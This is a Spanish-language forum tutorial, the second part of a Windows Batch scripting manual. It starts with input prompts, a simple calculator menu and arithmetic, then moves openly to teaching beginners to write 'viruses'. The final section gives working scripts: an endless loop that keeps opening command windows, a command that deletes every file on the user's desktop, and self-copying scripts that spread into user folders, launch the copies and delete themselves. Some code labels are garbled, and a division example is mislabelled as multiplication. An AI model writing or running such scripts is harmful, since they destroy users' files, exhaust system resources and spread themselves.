Manual Batch 2da Parte (By 2Fac3R
Manual Batch 2da Parte (By 2Fac3R
Manual Batch 2da Parte (By 2Fac3R
primera parte de este manual, les recuerdo que soy 2Fac3R aka
RocKeG (como quieran llamarme), en la primera parte vimos lo
mas basico de batch, "que es?", "que podemos hacer?",
"comandos basicos" y otras cosas, supongo que ya te haz
estudiado varios comandos y y haz practicado con ellos como lo
hemos hecho con "md" y otros. Bien ya me conocen me extiendo
mucho asi que vamos al grano.
Código:
Código:
@echo off
echo Hola
echo ¿Cual es tu nombre completo?
set /p nombre=
cls
echo ¿Cuantos años tienes?
set /p edad=
cls
echo ¿Que te gusta en el Batch?
set /p gustos=
cls
echo Hola %nombre% tienes %edad% años y lo que te gusta en el
batch es %gustos%
echo espero que sigas estudiando :)
pause>nul
exit
Código:
Código:
@echo off
echo Bienvenido a mi primer programa util, xD.
:Elegir
echo ¿Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Salir
set /p hacer=
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :salir
cls
:Sumar
set /p num= Escribe el primer numero a sumar
cls
set /p num2= Escribe otro numero
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
echo ¿Quieres sumar otra vez?
echo.
set /p sov= Si/No
if %sov%==si goto :Sumar
if %sov%==no goto :Elegir
:Salir
echo Esta fue la primera calculadora que hago en Batch
pause
exit.
+ = Mas (Sumar)
- = Menos (restar)
* = Por (Multiplicar)
/ = Entre (Dividir)
= = igual (Resultado)
Código:
Código:
echo Suma
set /a res= 1+1
echo %res%
Código:
Código:
echo Multiplicacion
set /a res1= 10/1
echo %res1%
¿QUE ES UN BUCLE?
Código:
Código:
@echo off
start
start
start
start
start
start
start
start
start
start
exit
Código:
Código:
@echo off
:inicio
start
goto :inicio
Lo que hace esto es, crea una etiqueta llamada "inicio" despues en
esa etiqueta
se coloca el comado start, despues se va otra vez a inicio. Lo cual
el codigo
primero inicia ms-dos despues como se regresa a esa etiqueta se
activa otra vez el
codigo, y asi sucesivamente.
Si eres avanzado seguramente diras:
--Que tonto, eso se puede hacer en 2 lineas de codigo, y segun el lo esta
sintetizando en 4--
Si, si estas en lo correcto (excepto por lo tonto, xD) recuerda que
estoy dejando
la mayor parte a la imaginacion del nuevo usuario de batch. Que
chiste tendria
decirle como hacerlo si solo lo copea y ya esta, no lo veo un buen
aprendizaje,
sino eres de los que quiere aprender con mi metodo, busca otros
manuales que hay
en la red (Que son muchisimos).
Bien dado mi discurso, voy ahora a explicar codigos que la mayoria
los usamos en los
virus.
--Milagro!!!, por fin voy a aprender lo que me gusta, LOS VIRUS!!!.
Si, si eso es lo que la mayoria de los nuevos usuario quiere
aprender, incluso hay
unos que empiezan (o empezaron) buscando "¿Como hacer un
virus en Batch?" y asi
llegaron a este foro o quizas a aprender C. Yo en lo personal es lo
que mas me
interesa, la programacion y los malwares.
Supongamos que ya sabes lo que es un malware, ya sea virus,
worm, troyano, etc.
Partiremos por hacer un simple virus que borre todos los archivos
del escritorio.
el codigo sera:
Código:
Código:
@echo off
del %homepath%\escritorio\*.*
exit
Código:
C:\Documents and Settings\Usuario\Escritorio
Código:
Código:
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
exit
Código:
Código:
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
start %homepath%\escritorio\prueba.bat
start %homepath%\prueba.bat
del %0
exit